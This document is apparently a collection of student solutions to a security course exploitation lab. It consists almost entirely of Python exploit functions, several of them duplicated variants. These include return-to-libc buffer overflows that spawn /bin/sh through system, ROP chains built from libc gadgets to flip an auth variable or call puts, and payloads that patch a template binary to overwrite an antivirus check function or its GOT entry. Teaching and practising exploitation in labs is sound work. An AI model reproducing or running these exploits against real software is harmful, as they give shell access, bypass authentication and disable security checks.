def get_payload(self, pid): # Return a payload that will replace the check_if_virus code. # 1. You can assume we already compiled q2.c into q2.template. # 2. Use CHECK_IF_VIRUS_CODE. with open(TEMPLATE_PATH, 'rb') as reader: payload_template = reader.read() # convert the address to bytes before lookup anti_pid_holder_bytes = address_to_bytes(ANTI_PID_HOLDER) check_virus_holder_bytes = address_to_bytes(CHECK_VIRUS_HOLDER) # find and replace with the real value in the .text segment of the template binary pid_addr = payload_template.find(anti_pid_holder_bytes) check_virus_addr = payload_template.find(check_virus_holder_bytes) payload = payload_template payload = payload[:pid_addr] + address_to_bytes( pid) + payload[pid_addr + 4:] payload = payload[:check_virus_addr] + address_to_bytes( CHECK_IF_VIRUS_CODE) + payload[check_virus_addr + 4:] # print pid_addr # print check_virus_addr # print payload[check_virus_addr:check_virus_addr+4] # print payload_template[check_virus_addr:check_virus_addr+4] return payload
def get_arg(): # NOTES: # 1. Use `addresses.SYSTEM` to get the address of the `system` function # 2. Use `addresses.LIBC_BIN_SH` to get the address of the "/bin/sh" string return 'A' * 66 + addresses.address_to_bytes( addresses.SYSTEM) + addresses.address_to_bytes( addresses.EXIT) + addresses.address_to_bytes(addresses.LIBC_BIN_SH)
def get_arg(): # NOTES: # 1. Use `addresses.SYSTEM` to get the address of the `system` function # 2. Use `addresses.LIBC_BIN_SH` to get the address of the "/bin/sh" string offset = 66 nop = '\x90' return nop * offset + addresses.address_to_bytes( addresses.SYSTEM) + nop * 4 + addresses.address_to_bytes( addresses.LIBC_BIN_SH)
def get_arg(): # NOTES: # 1. Use `addresses.SYSTEM` to get the address of the `system` function # 2. Use `addresses.LIBC_BIN_SH` to get the address of the "/bin/sh" string buff = 'a' * (0x49 - len("thisisasalt")) old_ebp = 'b' * 4 bin_sh_add = addresses.address_to_bytes(addresses.LIBC_BIN_SH) system_libc_add = addresses.address_to_bytes(addresses.SYSTEM) system_ret = 'c' * 4 # doesn't matter for this question, just fill with arbitrary 4 bytes password = buff + old_ebp + system_libc_add + system_ret + bin_sh_add return password
def get_arg(): # NOTES: # 1. Use `addresses.SYSTEM` to get the address of the `system` function # 2. Use `addresses.LIBC_BIN_SH` to get the address of the "/bin/sh" string # 3. Use `addresses.EXIT` to get the address of the `exit` function buff = 'a' * (0x49 - len("thisisasalt")) old_ebp = 'b' * 4 bin_sh_add = addresses.address_to_bytes(addresses.LIBC_BIN_SH) system_libc_add = addresses.address_to_bytes(addresses.SYSTEM) exit_add = addresses.address_to_bytes(addresses.EXIT) exit_status = 0x42 # now it does matter, we want here the address of the "exit" call password = buff + old_ebp + system_libc_add + exit_add + bin_sh_add + struct.pack("B", exit_status) return password
def get_arg(): search = GadgetSearch(LIBC_DUMP_PATH) #checks for sequence of 00 in the address cond = lambda x: True if '00' not in [x[1][j:j+2] for j in range(0,len(x[1])-1,2)] else False # NOTES: # 1. Use `addresses.AUTH` to get the address of the `auth` variable. # 2. Don't write addresses of gadgets directly - use the search object to # find the address of the gadget dynamically. msg = 'A'*66 lst = [] #Put 1 to ebx lst = search.find_format("xor eax, eax",condition = cond) cmd =int(lst[1],16) msg+= struct.pack('<I',cmd) lst =search.find_format("inc eax",condition = cond) cmd =int(lst[1],16) msg+= struct.pack('<I',cmd) #put auth address to stack and pop it to edx lst = search.find_format("pop edx",condition = cond) cmd =int(lst[1],16) msg+= struct.pack('<I',cmd) msg+= addresses.address_to_bytes(addresses.AUTH) #put 1 to auth lst = search.find_format("mov [edx], eax",condition = cond) cmd =int(lst[1],16) msg+= struct.pack('<I',cmd) #add func address and return all msg return msg+'\xc6\x88\x04\x08'
def get_payload(self, pid): # Return a payload that will replace the check_if_virus code. # 1. You can assume we already compiled q2.c into q2.template. # 2. Use CHECK_IF_VIRUS_CODE. fp_r = open("q2.template", "rb") temp = fp_r.read() temp = temp.replace("\x78\x56\x34\x12", address_to_bytes(pid), 1) temp = temp.replace("\x21\x11\x01\x91", address_to_bytes(CHECK_IF_VIRUS_CODE), 1) fp_r.close() fp_w = open("q2.template", "wb") fp_w.write(temp) fp_w.close() return "./q2.template"
def get_payload(self, pid): old_got = address_to_bytes(CHECK_IF_VIRUS_GOT) new_addr = address_to_bytes(CHECK_IF_VIRUS_ALTERNATIVE) pid_addr = address_to_bytes(pid) file = open("q3.template", "r") data = list(file.read()) for index in range(len(data)): if(data[index] =='\x78'and\ data[index+1]=='\x56'and\ data[index+2]=='\x34'and\ data[index+3]=='\x12'): #print("Pid changed") #print (data[index:index+4]) data[index] = pid_addr[0] data[index + 1] = pid_addr[1] data[index + 2] = pid_addr[2] data[index + 3] = pid_addr[3] #print (data[index:index+4]) if(data[index] =='\xff' and\ data[index+1]=='\xef'and\ data[index+2]=='\xcd'and\ data[index+3]=='\xab'): #print("func changed") #print (data[index:index+4]) data[index] = old_got[0] #'\xe0' data[index + 1] = old_got[1] #'\x37'# data[index + 2] = old_got[2] #'\xfd'# data[index + 3] = old_got[3] #'\xb7'# #print (data[index:index+4]) if(data[index] =='\xcd' and\ data[index+1]=='\xab'and\ data[index+2]=='\xcd'and\ data[index+3]=='\xab'): data[index] = new_addr[0] #'\xe0' data[index + 1] = new_addr[1] #'\x37'# data[index + 2] = new_addr[2] #'\xfd'# data[index + 3] = new_addr[3] #'\xb7'# return "".join(data)
def get_arg(): search = GadgetSearch(LIBC_DUMP_PATH) # NOTES: # 1. Use `addresses.PUTS` to get the address of the `puts` function. # 2. Don't write addresses of gadgets directly - use the search object to # find the address of the gadget dynamically. str_value = get_string(302893680) shellcode_start_addr = addresses.SHELLCODE_START # this is where our actual logic begins, after loading the address of 'puts' into ebp num_rop_commands = 5 # we need this to calculate the address of our string str_value_addr = shellcode_start_addr + num_rop_commands * 4 puts_addr = addresses.PUTS pop_ebp_addr = int(search.find_format('pop ebp')[1], HEX_BASE) pop_edx_addr = int(search.find_format('pop edx')[1], HEX_BASE) pop_esp_addr = int(search.find_format('pop esp')[1], HEX_BASE) buff = 'a' * (0x49 - len("thisisasalt")) # same as in q1 old_ebp = 'b' * 4 # same as in q1 buffer_part = buff + old_ebp # for details please see q4.txt shellcode = addresses.address_to_bytes(pop_ebp_addr) + addresses.address_to_bytes(puts_addr) + \ addresses.address_to_bytes(puts_addr) + addresses.address_to_bytes(pop_edx_addr) + \ addresses.address_to_bytes(str_value_addr) + addresses.address_to_bytes(pop_esp_addr) +\ addresses.address_to_bytes(shellcode_start_addr) + str_value return buffer_part + shellcode
def get_payload(self, pid): # Return a payload that will replace the GOT entry for check_if_virus # with another function of a similar signature, that will return 0. # 1. You can assume we already compiled q3.c into q3.template. # 2. Use CHECK_IF_VIRUS_GOT and CHECK_IF_VIRUS_ALTERNATIVE. fp_r = open("q3.template", "rb") temp = fp_r.read() temp = temp.replace("\x78\x56\x34\x12", address_to_bytes(pid), 1) temp = temp.replace("\x21\x11\x01\x91", address_to_bytes(CHECK_IF_VIRUS_GOT), 1) temp = temp.replace("\x55\x56\x78\x87", address_to_bytes(CHECK_IF_VIRUS_ALTERNATIVE), 1) fp_r.close() fp_w = open("q3.template", "wb") fp_w.write(temp) fp_w.close() return "./q3.template"
def get_arg(): search = GadgetSearch(LIBC_DUMP_PATH) # NOTES: # 1. Use `addresses.PUTS` to get the address of the `puts` function. # 2. Don't write addresses of gadgets directly - use the search object to # find the address of the gadget dynamically. cond = lambda x: True if '00' not in [ x[1][j:j + 2] for j in range(0, len(x[1]) - 1, 2) ] else False lst = [] msg = "A" * 8 + "B" * 54 + "C" * 4 #Load the adress of puts into EBP #print(len(msg)) lst = search.find_format("pop ebp", condition=cond) cmd = int(lst[1], 16) msg += struct.pack('<I', cmd) msg += addresses.address_to_bytes(addresses.PUTS) #return address msg += addresses.address_to_bytes(addresses.PUTS) #skip 4bytes lst = search.find_format("add esp, 4", condition=cond) cmd = int(lst[1], 16) msg += struct.pack('<I', cmd) #pointer to string msg += struct.pack('<I', 0xbfffe1ba + len(msg) + 12) #jump to 2 stage lst = search.find_format("pop esp", condition=cond) cmd = int(lst[1], 16) msg += struct.pack('<I', cmd) msg += struct.pack('<I', 0xbfffe1ba + 74) #call func msg += get_string('332305747') return msg
def get_payload(self, pid): # Return a payload that will replace the GOT entry for check_if_virus # with another function of a similar signature, that will return 0. # 1. You can assume we already compiled q3.c into q3.template. # 2. Use CHECK_IF_VIRUS_GOT and CHECK_IF_VIRUS_ALTERNATIVE. with open(TEMPLATE_PATH, 'rb') as reader: payload_template = reader.read() # convert the address to bytes before lookup anti_pid_holder_bytes = address_to_bytes(ANTI_PID_HOLDER) check_virus_holder_bytes = address_to_bytes(CHECK_VIRUS_GOT_HOLDER) replace_virus_holder_bytes = address_to_bytes(REPLACE_VIRUS_HOLDER) # find and replace with the real value in the .text segment of the template binary pid_addr = payload_template.find(anti_pid_holder_bytes) check_virus_addr = payload_template.find(check_virus_holder_bytes) replace_virus_addr = payload_template.find(replace_virus_holder_bytes) payload = payload_template payload = payload[:pid_addr] + address_to_bytes( pid) + payload[pid_addr + 4:] payload = payload[:check_virus_addr] + address_to_bytes( CHECK_IF_VIRUS_GOT) + payload[check_virus_addr + 4:] payload = payload[:replace_virus_addr] + address_to_bytes( CHECK_IF_VIRUS_ALTERNATIVE) + payload[replace_virus_addr + 4:] return payload
def get_payload(self, pid): # Return a payload that will replace the check_if_virus code. # 1. You can assume we already compiled q2.c into q2.template. # 2. Use CHECK_IF_VIRUS_CODE. assert_addr = address_to_bytes(CHECK_IF_VIRUS_CODE) pid_addr = address_to_bytes(pid) file = open("q2.template", "r") data = list(file.read()) for index in range(len(data)): if(data[index] =='\x78'and\ data[index+1]=='\x56'and\ data[index+2]=='\x34'and\ data[index+3]=='\x12'): #print("Pid changed") #print (data[index:index+4]) data[index] = pid_addr[0] data[index + 1] = pid_addr[1] data[index + 2] = pid_addr[2] data[index + 3] = pid_addr[3] #print (data[index:index+4]) if(data[index] =='\xff' and\ data[index+1]=='\xef'and\ data[index+2]=='\xcd'and\ data[index+3]=='\xab'): #print("func changed") #print (data[index:index+4]) data[index] = assert_addr[0] #'\xe0' data[index + 1] = assert_addr[1] #'\x37'# data[index + 2] = assert_addr[2] #'\xfd'# data[index + 3] = assert_addr[3] #'\xb7'# #print (data[index:index+4]) return "".join(data)
def get_payload(self, pid: int) -> bytes: """Returns a payload to replace the GOT entry for check_if_virus. Reminder: We want to replace it with another function of a similar signature, that will return 0. Notes: 1. You can assume we already compiled q3.c into q3.template. 2. Use addresses.CHECK_IF_VIRUS_GOT, addresses.CHECK_IF_VIRUS_ALTERNATIVE (and addresses.address_to_bytes). Returns: The bytes of the payload. """ PATH_TO_TEMPLATE = './q3.template' with open(PATH_TO_TEMPLATE, 'rb') as reader: q3_elf = bytearray(reader.read()) pid_offset = 4104 check_if_virus_got_offset = 4108 check_if_virus_alter_offset = 4112 pid_lit_en = struct.pack("<I", pid) for i in range(len(pid_lit_en)): q3_elf[pid_offset + i] = pid_lit_en[i] check_if_virus_got_addr = addresses.address_to_bytes( addresses.CHECK_IF_VIRUS_GOT) for i in range(len(check_if_virus_got_addr)): q3_elf[check_if_virus_got_offset + i] = check_if_virus_got_addr[i] check_if_virus_alter_addr = addresses.address_to_bytes( addresses.CHECK_IF_VIRUS_ALTERNATIVE) for i in range(len(check_if_virus_alter_addr)): q3_elf[check_if_virus_alter_offset + i] = check_if_virus_alter_addr[i] return bytes(q3_elf)
def get_arg(): search = GadgetSearch(LIBC_DUMP_PATH) # NOTES: # 1. Use `addresses.AUTH` to get the address of the `auth` variable. # 2. Don't write addresses of gadgets directly - use the search object to # find the address of the gadget dynamically. auth_addr = addresses.AUTH normal_ret_addr = addresses.NORMAL_RET # the original retrun address from the function check_password pop_edx_addr = int(search.find_format('pop edx')[1], HEX_BASE) xor_eax_addr = int(search.find_format('xor eax, eax')[1], HEX_BASE) inc_eax_addr = int(search.find_format('inc eax')[1], HEX_BASE) mov_edx_adrr = int(search.find_format('mov [edx], eax')[1], HEX_BASE) buff = 'a' * (0x49 - len("thisisasalt")) # same as in q1 old_ebp = 'b' * 4 # same as in q1 buffer_part = buff + old_ebp # for more deatils on the order of the commands see q3.txt shellcode = addresses.address_to_bytes(pop_edx_addr) + addresses.address_to_bytes(auth_addr) + \ addresses.address_to_bytes(xor_eax_addr) + addresses.address_to_bytes(inc_eax_addr) +\ addresses.address_to_bytes(mov_edx_adrr) + addresses.address_to_bytes(normal_ret_addr) return buffer_part + shellcode